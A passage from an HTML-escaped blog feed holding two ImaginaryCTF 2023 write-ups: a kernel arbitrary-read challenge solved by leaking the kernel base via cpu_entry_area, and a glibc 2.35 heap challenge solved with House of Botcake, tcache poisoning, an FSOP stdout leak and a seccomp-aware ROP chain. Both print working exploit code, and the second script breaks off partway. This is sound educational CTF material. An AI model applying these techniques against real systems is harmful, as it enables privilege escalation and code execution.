https://imaginaryctf.org/r/izYM0#opportunity_dist.zip&lt;/p&gt;
&lt;p&gt;nc window-of-opportunity.chal.imaginaryctf.org 1337&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;window-of-opportunity&lt;/code&gt; is a kernel exploitation challenge I did for the &lt;a href=&quot;https://2023.imaginaryctf.org&quot;&gt;ImaginaryCTF 2023&lt;/a&gt;. We are given an arbitrary read primitive (and a stack buffer overflow but I didn&apos;t use it), and the goal is basically to read the &lt;code&gt;/flag.txt&lt;/code&gt; file. All the related files can be found &lt;a href=&quot;https://github.com/ret2school/ctf/tree/master/2023/imaginaryctf/pwn/window&quot;&gt;there&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://media.tenor.com/16jBhCDB9x8AAAAC/kyudo-japanese.gif&quot; alt=&quot;&amp;gt;...&amp;lt;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TLDR&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Leaking with the help of the arbitrary read primitive the kernel base address by reading a pointer toward the .text stored within the fix-mapped &lt;code&gt;cpu_entry_area&lt;/code&gt; mapping.&lt;/li&gt;
&lt;li&gt;Using the read primitive to read the whole kernel memory to get the flag given the initramfs is mapped in clear right after the kernel at a fixed offset.&lt;/li&gt;
&lt;li&gt;PROFIT&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Code review&lt;/h2&gt;
&lt;p&gt;We are given a classic &lt;code&gt;initramfs&lt;/code&gt; setup for this kernel challenge, which means we already know the whole &lt;code&gt;initramfs&lt;/code&gt; will be mapped in memory right after the kernel at a fixed offset.&lt;/p&gt;
&lt;p&gt;Let&apos;s take at the &lt;code&gt;ioctl&lt;/code&gt; provided by the kernel driver we have to pwn:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* !! This is not the actual decompiled code, I rewrote it to make it easier to read */

__int64 __fastcall device_ioctl(file *filp, __int64 cmd, unsigned __int64 arg)
{
  __int64 v3; // rbp
  __int64 v4; // rdx
  __int64 v5; // rbx
  __int64 result; // rax
  request req; // [rsp+0h] [rbp-120h] BYREF
  unsigned __int64 v8; // [rsp+108h] [rbp-18h]
  __int64 v9; // [rsp+118h] [rbp-8h]

  _fentry__(filp, cmd, arg);
  v9 = v3;
  v8 = __readgsqword(0x28u);
  if ( (_DWORD)cmd == 0x1337 )
  {
    copy_from_user(&amp;amp;req, arg, 0x108LL);
    result = (int)copy_to_user(arg.buf, req.ptr, 0x100LL);
  }
  else
  {
    result = -1LL;
  }
  if ( v8 != __readgsqword(0x28u) )
    JUMPOUT(0xC3LL);
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The structure used to exchange with the kernel driver looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct request_s {
    uint64_t kptr;
    uint8_t buf[256];
} request_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which means we have a very powerful arbitrary read primitive.&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;p&gt;To compile the exploit and pack the fs I used this quick and dirty command if you mind:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;musl-gcc src/exploit.c -static -o initramfs/exploit &amp;amp;&amp;amp; cd initramfs &amp;amp;&amp;amp; find . -print0 | cpio --null -ov --format=newc &amp;gt; ../initramfs.cpio &amp;amp;&amp;amp; cd .. &amp;amp;&amp;amp; ./run.sh initramfs.cpio
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First let&apos;s take a look at the protection layout by using the &lt;code&gt;kchecksec&lt;/code&gt; developped by &lt;a href=&quot;https://github.com/bata24&quot;&gt;@bata24&lt;/a&gt; in his awesome &lt;a href=&quot;https://github.com/bata24/gef&quot;&gt;fork of gef&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef&amp;gt; kchecksec
------------------------------------------------------------------ Kernel information ------------------------------------------------------------------
Kernel version                          : 5.19.0
Kernel cmdline                          : console=ttyS0 oops=panic panic=1 kpti=1 kaslr quiet
Kernel base (heuristic)                 : 0xffffffff9b600000
Kernel base (_stext from kallsyms)      : 0xffffffff9b600000
------------------------------------------------------------------- Register settings -------------------------------------------------------------------
Write Protection (CR0 bit 16)           : Enabled
PAE (CR4 bit 5)                         : Enabled (NX is supported)
SMEP (CR4 bit 20)                       : Enabled
SMAP (CR4 bit 21)                       : Enabled
CET (CR4 bit 23)                        : Disabled
-------------------------------------------------------------------- Memory settings --------------------------------------------------------------------
CONFIG_RANDOMIZE_BASE (KASLR)           : Enabled
CONFIG_FG_KASLR (FGKASLR)               : Unsupported
CONFIG_PAGE_TABLE_ISOLATION (KPTI)      : Enabled
RWX kernel page                         : Not found
----------------------------------------------------------------------- Allocator -----------------------------------------------------------------------
Allocator                               : SLUB
CONFIG_SLAB_FREELIST_HARDENED           : Enabled (offsetof(kmem_cache, random): 0xb8)
-------------------------------------------------------------------- Security Module --------------------------------------------------------------------
SELinux                                 : Disabled (selinux_init: Found, selinux_state: Not initialized)
SMACK                                   : Disabled (smack_init: Found, smackfs: Not mounted)
AppArmor                                : Enabled (apparmor_init: Found, apparmor_initialized: 1, apparmor_enabled: 1)
TOMOYO                                  : Disabled (tomoyo_init: Found, tomoyo_enabled: 0)
Yama (ptrace_scope)                     : Enabled (yama_init: Found, kernel.yama.ptrace_scope: 1)
Integrity                               : Supported (integrity_iintcache_init: Found)
LoadPin                                 : Unsupported (loadpin_init: Not found)
SafeSetID                               : Supported (safesetid_security_init: Found)
Lockdown                                : Supported (lockdown_lsm_init: Found)
BPF                                     : Supported (bpf_lsm_init: Found)
Landlock                                : Supported (landlock_init: Found)
Linux Kernel Runtime Guard (LKRG)       : Disabled (Not loaded)
----------------------------------------------------------------- Dangerous system call -----------------------------------------------------------------
vm.unprivileged_userfaultfd             : Disabled (vm.unprivileged_userfaultfd: 0)
kernel.unprivileged_bpf_disabled        : Enabled (kernel.unprivileged_bpf_disabled: 2)
kernel.kexec_load_disabled              : Disabled (kernel.kexec_load_disabled: 0)
------------------------------------------------------------------------- Other -------------------------------------------------------------------------
CONFIG_KALLSYMS_ALL                     : Enabled
CONFIG_RANDSTRUCT                       : Disabled
CONFIG_STATIC_USERMODEHELPER            : Disabled (modprobe_path: RW-)
CONFIG_STACKPROTECTOR                   : Enabled (offsetof(task_struct, stack_canary): 0x9c8)
KADR (kallsyms)                         : Enabled (kernel.kptr_restrict: 2, kernel.perf_event_paranoid: 2)
KADR (dmesg)                            : Enabled (kernel.dmesg_restrict: 1)
vm.mmap_min_addr                        : 0x10000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What matters for us is mainly the KASLR that is on. Then, the first step will be to defeat it.&lt;/p&gt;
&lt;h2&gt;Defeat kASLR&lt;/h2&gt;
&lt;p&gt;To defeat kASLR we could use the trick already use a while ago by the hxp team in one of their &lt;a href=&quot;https://hxp.io/blog/99/hxp-CTF-2022-one_byte-writeup/&quot;&gt;kernel shellcoding challenge&lt;/a&gt;. The idea would be to read through the &lt;code&gt;cpu_entry_area&lt;/code&gt; fix-mapped area, that is not rebased by the kASLR, a pointer toward the kernel .text. Then giving us a powerful infoleak thats allows us to find for example the address of the initramfs. I just had to search a few minutes the right pointer in gdb and that&apos;s it, at &lt;code&gt;0xfffffe0000002f50&lt;/code&gt; is stored a pointer toward &lt;code&gt;KERNEL_BASE + 0x1000b59&lt;/code&gt;! Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    req.kptr = 0xfffffe0000002f50; 
    if (ioctl(fd, 0x1337, &amp;amp;req)) {
        return -1;
    }

    kernel_text =  ((uint64_t* )req.buf)[0] - 0x1000b59;
    printf(&quot;[!] kernel .text found at %lx\n&quot;, kernel_text);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;initramfs for the win&lt;/h2&gt;
&lt;p&gt;The initramfs is mapped right after the kernel, from &lt;code&gt;kbase + 0x2c3b000&lt;/code&gt;, which means given we leaked the .text, we can deduce by it the address of the initramfs and then we can simply look for the &lt;code&gt;icft&lt;/code&gt; pattern while reading the whole initramfs. Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    printf(&quot;[!] initramfs at %lx\n&quot;, kernel_text + 0x2c3b000);

    while (1) {
        req.kptr = kernel_text + 0x2c00000 + offt;
        if (ioctl(fd, 0x1337, &amp;amp;req)) {
            return -1;
        }

        for (size_t i = 0; i &amp;lt; 0x100; i += 4) {
            if (!memcmp(req.buf+i, &quot;ictf&quot;, 4)) {
                printf(&quot;flag: %s\n&quot;, (char* )(req.buf+i));
            }
        }

        offt += 0x100;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;PROFIT&lt;/h2&gt;
&lt;p&gt;Finally here we are:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mount: mounting host0 on /tmp/mount failed: No such device
cp: can&apos;t stat &apos;/dev/sda&apos;: No such file or directory

Boot time: 2.78

---------------------------------------------------------------
                     _                            
                    | |                           
       __      _____| | ___ ___  _ __ ___   ___   
       \ \ /\ / / _ \ |/ __/ _ \| &apos;_ ` _ \ / _ \  
        \ V  V /  __/ | (_| (_) | | | | | |  __/_ 
         \_/\_/ \___|_|\___\___/|_| |_| |_|\___(_)
                                            
  Take the opportunity. Look through the window. Get the flag.
---------------------------------------------------------------
/ # ./exploit 
[!] kernel .text found at ffffffff8de00000
[!] initramfs at ffffffff90a3b000
flag: ictf{th3_real_flag_was_the_f4ke_st4ck_canaries_we_met_al0ng_the_way}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Annexes&lt;/h1&gt;
&lt;p&gt;Final exploit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;inttypes.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

typedef struct request_s {
    uint64_t kptr;
    uint8_t buf[256];
} request_t;

int main()
{
    request_t req = {0};
    uint64_t kernel_text = 0;
    uint64_t offt = 0;

    int fd = open(&quot;/dev/window&quot;, O_RDWR);
    if (fd &amp;lt; 0) {
        return -1;
    }

    req.kptr = 0xfffffe0000002f50; 
    if (ioctl(fd, 0x1337, &amp;amp;req)) {
        return -1;
    }

    kernel_text =  ((uint64_t* )req.buf)[0] - 0x1000b59;
    printf(&quot;[!] kernel .text found at %lx\n&quot;, kernel_text);
    printf(&quot;[!] initramfs at %lx\n&quot;, kernel_text + 0x2c3b000);

    while (1) {
        req.kptr = kernel_text + 0x2c00000 + offt;
        if (ioctl(fd, 0x1337, &amp;amp;req)) {
            return -1;
        }

        for (size_t i = 0; i &amp;lt; 0x100; i += 4) {
            if (!memcmp(req.buf+i, &quot;ictf&quot;, 4)) {
                printf(&quot;flag: %s\n&quot;, (char* )(req.buf+i));
            }
        }

        offt += 0x100;
    }

    close(fd);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[ImaginaryCTF 2023 - pwn] mailman</title><link>https://n4sm.github.io/posts/mailman/</link><guid isPermaLink="true">https://n4sm.github.io/posts/mailman/</guid><pubDate>Mon, 24 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;mailman&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;mailman (423 pts) - 31 solves by Eth007&lt;/p&gt;
&lt;p&gt;Description&lt;/p&gt;
&lt;p&gt;I&apos;m sure that my post office is 100% secure! It uses some of the latest software, unlike some of the other post offices out there...
Flag is in ./flag.txt.&lt;/p&gt;
&lt;p&gt;Attachments
https://imaginaryctf.org/r/PIxtO#vuln https://imaginaryctf.org/r/c9Mk8#libc.so.6&lt;/p&gt;
&lt;p&gt;nc mailman.chal.imaginaryctf.org 1337&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;mailman is a heap challenge I did for the &lt;a href=&quot;https://2023.imaginaryctf.org&quot;&gt;ImaginaryCTF 2023&lt;/a&gt; event. It was a basic heap challenge involving tcache poisoning, safe-linking and seccomp bypass. You can find the related files &lt;a href=&quot;https://github.com/ret2school/ctf/tree/master/2023/imaginaryctf/pwn/mailman&quot;&gt;there&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Trivial heap and libc leak&lt;/li&gt;
&lt;li&gt;tcache poisoning to hiijack stdout&lt;/li&gt;
&lt;li&gt;FSOP on stdout to leak environ&lt;/li&gt;
&lt;li&gt;tcache poisoning on the fgets&apos;s stackframe&lt;/li&gt;
&lt;li&gt;ROPchain that takes care of the seccomp&lt;/li&gt;
&lt;li&gt;PROFIT&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Code review&lt;/h2&gt;
&lt;p&gt;First let&apos;s take at the version of the libc and at the protections inabled onto the binary.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ checksec --file vuln 
[*] &apos;/home/alexis/Documents/pwn/ImaginaryCTF/mailman/vuln&apos;
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ checksec --file libc.so.6 
[*] &apos;/home/alexis/Documents/pwn/ImaginaryCTF/mailman/libc.so.6&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ ./libc.so.6 
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
&amp;lt;https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs&amp;gt;.
$ seccomp-tools dump ./vuln
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A &amp;lt; 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x00000005  if (A == fstat) goto 0010
 0009: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Full prot for the binary and classic partial RELRO for the already up-to-date libc. The binary loads a seccomp that allows only the read, write, open, fstat and exit system calls.&lt;/p&gt;
&lt;p&gt;By reading the code in IDA the main looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  void *v3; // rax
  int v4; // [rsp+Ch] [rbp-24h] BYREF
  size_t size; // [rsp+10h] [rbp-20h] BYREF
  __int64 v6; // [rsp+18h] [rbp-18h]
  __int64 v7; // [rsp+20h] [rbp-10h]
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v6 = seccomp_init(0LL, argv, envp);
  seccomp_rule_add(v6, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v6, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v6, 2147418112LL, 1LL, 0LL);
  seccomp_rule_add(v6, 2147418112LL, 5LL, 0LL);
  seccomp_rule_add(v6, 2147418112LL, 60LL, 0LL);
  seccomp_load(v6);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts(&quot;Welcome to the post office.&quot;);
  puts(&quot;Enter your choice below:&quot;);
  puts(&quot;1. Write a letter&quot;);
  puts(&quot;2. Send a letter&quot;);
  puts(&quot;3. Read a letter&quot;);
  while ( 1 )
  {
    while ( 1 )
    {
      printf(&quot;&amp;gt; &quot;);
      __isoc99_scanf(&quot;%d%*c&quot;, &amp;amp;v4);
      if ( v4 != 3 )
        break;
      v7 = inidx();
      puts(*((const char **)&amp;amp;mem + v7));
    }
    if ( v4 &amp;gt; 3 )
      break;
    if ( v4 == 1 )
    {
      v7 = inidx();
      printf(&quot;letter size: &quot;);
      __isoc99_scanf(&quot;%lu%*c&quot;, &amp;amp;size);
      v3 = malloc(size);
      *((_QWORD *)&amp;amp;mem + v7) = v3;
      printf(&quot;content: &quot;);
      fgets(*((char **)&amp;amp;mem + v7), size, stdin);
    }
    else
    {
      if ( v4 != 2 )
        break;
      v7 = inidx();
      free(*((void **)&amp;amp;mem + v7));
    }
  }
  puts(&quot;Invalid choice!&quot;);
  _exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The program allows to create a chunk of any size, filling it with user-supplied input with fgets. We can print its content or free it. The bug lies in the free handler that doesn&apos;t check if a chunk has already been free&apos;d.&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;p&gt;Before bypassing the seccomp we need to get code execution, to do so I will use the very classic exploitation flow: &lt;code&gt;FSOP stdout to leak environ&lt;/code&gt; =&amp;gt; &lt;code&gt;ROPchain&lt;/code&gt;. I could have used an &lt;a href=&quot;https://blog.kylebot.net/2022/10/22/angry-FSROP/&quot;&gt;angry FSOP&lt;/a&gt; to directly get code execution by hijjacking the vtable used by the wide operations in stdout, given actually it is not checked against a specific address range as it is the case for the &lt;code&gt;_vtable&lt;/code&gt;. To get code execution, we need to get the heap and libc base addresses.&lt;/p&gt;
&lt;h2&gt;Heap and libc leak&lt;/h2&gt;
&lt;p&gt;To get a heap leak we can simply do defeat safe-linking:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# leak

free(0)
view(0)

heap = ((pwn.u64(io.recvline()[:-1].ljust(8, b&quot;\x00&quot;)) &amp;lt;&amp;lt; 12) - 0x2000)
pwn.log.info(f&quot;heap @ {hex(heap)}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To get an arbitrary read / write I used the house of botcake technique. I already talked about it more deeply &lt;a href=&quot;https://nasm.re/posts/catastrophe/#house-of-botcake&quot;&gt;there&lt;/a&gt;. During this house I put a chunk in the unsortedbin, leaking the libc:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add(0, 0x100, b&quot;YY&quot;)

add(7, 0x100, b&quot;YY&quot;) # prev
add(8, 0x100, b&quot;YY&quot;) # a

# fill tcache
for i in range(7):
    free(i)

for _ in range(20):
    add(9, 0x10, b&quot;/bin/sh\0&quot;) # barrier

free(8) # free(a) =&amp;gt; unsortedbin
free(7) # free(prev) =&amp;gt; merged with a

# leak libc
view(8)

libc.address = pwn.u64(io.recvline()[:-1].ljust(8, b&quot;\x00&quot;)) - 0x219ce0 # offset of the unsorted bin
pwn.log.success(f&quot;libc: {hex(libc.address)}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;House of botcake for the win&lt;/h2&gt;
&lt;p&gt;The house of botcake is very easy to understand, it is useful when you can trigger some double free bug. It is basically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allocate 7 0x100 sized chunks to then fill the tcache (7 entries).&lt;/li&gt;
&lt;li&gt;Allocate two more 0x100 sized chunks (prev and a in the example).&lt;/li&gt;
&lt;li&gt;Allocate a small “barrier” 0x10 sized chunk.&lt;/li&gt;
&lt;li&gt;Fill the tcache by freeing the first 7 chunks.&lt;/li&gt;
&lt;li&gt;free(a), thus a falls into the unsortedbin.&lt;/li&gt;
&lt;li&gt;free(prev), thus prev is consolidated with a to create a large 0x221 sized chunk that is remains in the unsortedbin.&lt;/li&gt;
&lt;li&gt;Request one more 0x100 sized chunk to let a single entry available in the tcache.&lt;/li&gt;
&lt;li&gt;free(a) again, given a is part of the large 0x221 sized chunk it leads to an UAF. Thus a falls into the tcache.&lt;/li&gt;
&lt;li&gt;That’s finished, to get a write what where we just need to request a 0x130 sized chunk. Thus we can hiijack the next fp of a that is currently referenced by the tcache by the location we wanna write to. And next time two 0x100 sized chunks are requested, the second one will be the target location.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for i in range(7):
    add(i, 0x100, b&quot;&quot;)

# leak

free(0)
view(0)

heap = ((pwn.u64(io.recvline()[:-1].ljust(8, b&quot;\x00&quot;)) &amp;lt;&amp;lt; 12) - 0x2000)
pwn.log.info(f&quot;heap @ {hex(heap)}&quot;)

add(0, 0x100, b&quot;YY&quot;)

add(7, 0x100, b&quot;YY&quot;) # prev
add(8, 0x100, b&quot;YY&quot;) # a

# fill tcache
for i in range(7):
    free(i)

for _ in range(20):
    add(9, 0x10, b&quot;/bin/sh\0&quot;) # barrier

free(8) # free(a) =&amp;gt; unsortedbin
free(7) # free(prev) =&amp;gt; merged with a

# leak libc
view(8)

libc.address = pwn.u64(io.recvline()[:-1].ljust(8, b&quot;\x00&quot;)) - 0x219ce0 # offset of the unsorted bin
pwn.log.success(f&quot;libc: {hex(libc.address)}&quot;)

stdout = libc.address + 0x21a780
environ = libc.address + 0x2a72d0 + 8
strr = libc.address + 0x1bd460

pwn.log.success(f&quot;environ: {hex(environ)}&quot;)
pwn.log.success(f&quot;stdout: {hex(stdout)}&quot;)

add(0, 0x100, b&quot;YY&quot;) # pop a chunk from the tcache to let an entry left to a 
free(8) # free(a) =&amp;gt; tcache

# unsortedbin =&amp;gt; oob on a =&amp;gt; tcache poisoning
add(1, 0x130, b&quot;T&quot;*0x108 + pwn.p64(0x111) + pwn.p64(((stdout) ^ ((heap + 0x2b90) &amp;gt;&amp;gt; 12))))
add(2, 0x100, b&quot;TT&quot;)

# tcache =&amp;gt; stdout
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, at the next &lt;code&gt;0x100&lt;/code&gt; request &lt;code&gt;stdout&lt;/code&gt; will be returned! Something important to notice if you&apos;re a beginner in heap exploitation is how the safe-linking is handled, you have to xor the target location with &lt;code&gt;((chunk_location) &amp;gt;&amp;gt; 12))&lt;/code&gt;. Sometimes the result is not properly aligned leading to a crash, to avoid this you can add or sub 0x8 to your target location.&lt;/p&gt;
&lt;h2&gt;FSOP on stdout&lt;/h2&gt;
&lt;p&gt;To leak the address of the stack we can use a FSOP on stdout. To understand how a such attack does work I advice you to read my &lt;a href=&quot;https://ret2school.github.io/post/catastrophe/&quot;&gt;this write-up&lt;/a&gt;. The goal is to read the stack address stored at &lt;code&gt;libc.sym.environ&lt;/code&gt; within the libc. Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# tcache =&amp;gt; stdout
add(3, 0x100, pwn.flat(0xfbad1800, # _flags
                        libc.sym.environ, # _IO_read_ptr
                        libc.sym.environ, # _IO_read_end
                        libc.sym.environ, # _IO_read_base
                        libc.sym.environ, # _IO_write_base
                        libc.sym.environ + 0x8, # _IO_write_ptr
                        libc.sym.environ + 0x8, # _IO_write_end
                        libc.sym.environ + 0x8, # _IO_buf_base
                        libc.sym.environ + 8 # _IO_buf_end
                        )
    )

stack = pwn.u64(io.recv(8)[:-1].ljust(8, b&quot;\x00&quot;)) - 0x160 # stackframe of fgets
pwn.log.info(f&quot;stack: {hex(stack)}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;PROFIT&lt;/h1&gt;
&lt;p&gt;Now we leaked everything we just need to reuse the arbitrary write provided thanks to the house of botcake, given we already have overlapping chunks, to get another arbitrary write we just need to put the large chunk in a large tcache and the overlapped chunk in the &lt;code&gt;0x100&lt;/code&gt; tcache, then we just have to corrupt &lt;code&gt;victim-&amp;gt;fp&lt;/code&gt; to the saved rip of the &lt;code&gt;fgets&lt;/code&gt; stackframe :). It gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rop = pwn.ROP(libc, base=stack)

# ROPchain
rop(rax=pwn.constants.SYS_open, rdi=stack + 0xde + 2 - 0x18, rsi=pwn.constants.O_RDONLY) # open
rop.call(rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;]))
rop(rax=pwn.constants.SYS_read, rdi=3, rsi=(stack &amp;amp; ~0xfff), rdx=0x300) # file descriptor bf ...
rop.call(rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;]))

rop(rax=pwn.constants.SYS_write, rdi=1, rsi=(stack &amp;amp; ~0xfff), rdx=0x50) # write
rop.call(rop.find_gadget([&quot;syscall&quot;, &quot;ret&quot;]))
rop.raw(&quot;./flag.txt\x00&quot;)

# victim =&amp;gt; tcache
free(8) 

# prev =&amp;gt; tcache 0x140
free(7) 

# tcache poisoning
add(5, 0x130, b&quot;T&quot;*0x100 + pwn.p64(0) + pwn.p64(0x111) + pwn.p64(((stack - 0x28) ^ ((heap + 0x2b90) &amp;gt;&amp;gt; 12))))
add(2, 0x100, b&quot;TT&quot;) # dumb

print(rop.dump())
add(3, 0x100, pwn.p64(0x1337)*5 + rop.chain())

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ python3 exploit.py REMOTE HOST=mailman.chal.imaginaryctf.org PORT=1337
[*] &apos;/home/nasm/Documents/pwn/ImaginaryCTF/mailman/vuln&apos;
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] &apos;/home/nasm/Documents/pwn/ImaginaryCTF/mailman/libc.so.6&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] &apos;/home/nasm/Documents/pwn/ImaginaryCTF/mailman/ld-linux-x86-64.so.2&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to mailman.chal.imaginaryctf.org on port 1337: Done
[*] heap @ 0x5611bbf93000
[+] libc: 0x7f6b49fec000
[+] environ: 0x7f6b4a2932d8
[+] stdout: 0x7f6b4a206780
[*] stack: 0x7fff28533ba8
[*] Loaded 218 cached gadgets for &apos;/home/nasm/Documents/pwn/ImaginaryCTF/mailman/libc.so.6&apos;
[*] Switching to interactive mode
ictf{i_guess_the_post_office_couldnt_hide_the_heapnote_underneath_912b123f}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Annexes&lt;/h1&gt;
&lt;p&gt;Final exploit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfmate

import os
import time
import pwn

BINARY = &quot;vuln&quot;
LIBC = &quot;/home/alexis/Documents/pwn/ImaginaryCTF/mailman/libc.so.6&quot;
LD = &quot;/home/alexis/Documents/pwn/ImaginaryCTF/mailman/ld-linux-x86-64.so.2&quot;

# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(BINARY)
libc = pwn.ELF(LIBC)
ld = pwn.ELF(LD)
pwn.context.terminal = [&quot;tmux&quot;, &quot;splitw&quot;, &quot;-h&quot;]
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
pwn.context.timeout = 3
p64 = pwn.p64
u64 = pwn.u64
p32 = pwn.p32
u32 = pwn.u32
p16 = pwn.p16
u16 = pwn.u16
p8  = pwn.p8
u8  = pwn.u8

host = pwn.args.HOST or &apos;127.0.0.1&apos;
port = int(pwn.args.PORT or 1337)


def local(argv=[], *a, **kw):
    &apos;&apos;&apos;Execute the target binary locally&apos;&apos;&apos;
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)


def remote(argv=[], *a, **kw):
    &apos;&apos;&apos;Connect to the process on the remote host&apos;&apos;&apos;
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    &apos;&apos;&apos;Start the exploit against the target.&apos;&apos;&apos;
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)


gdbscript = &apos;&apos;&apos;
source ~/Downloads/pwndbg/gdbinit.py
b* main
&apos;&apos;&apos;.format(**locals())

def exp():
    io = start()

    def add(idx, size, data, noLine=False):
        io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;1&quot;)
        io.sendlineafter(b&quot;idx: &quot;, str(idx).encode())
        io.sendlineafter(b&quot;size: &quot;, str(size).encode())
        
        if not noLine:
            io.sendlineafter(b&quot;content: &quot;, data)
        else:
            io.sendafter(b&quot;content: &quot;, data)

    def view(idx):
        io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;3&quot;)
        io.sendlineafter(b&quot;idx: &quot;, str(idx).encode())

    def free(idx):
        io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)
        io.sendlineafter(b&quot;idx: &quot;, str(idx).encode())

    for i in range(7):
        add(i, 0x100, b&quot;&quot;)

    # leak

    free(0)
    view(0)

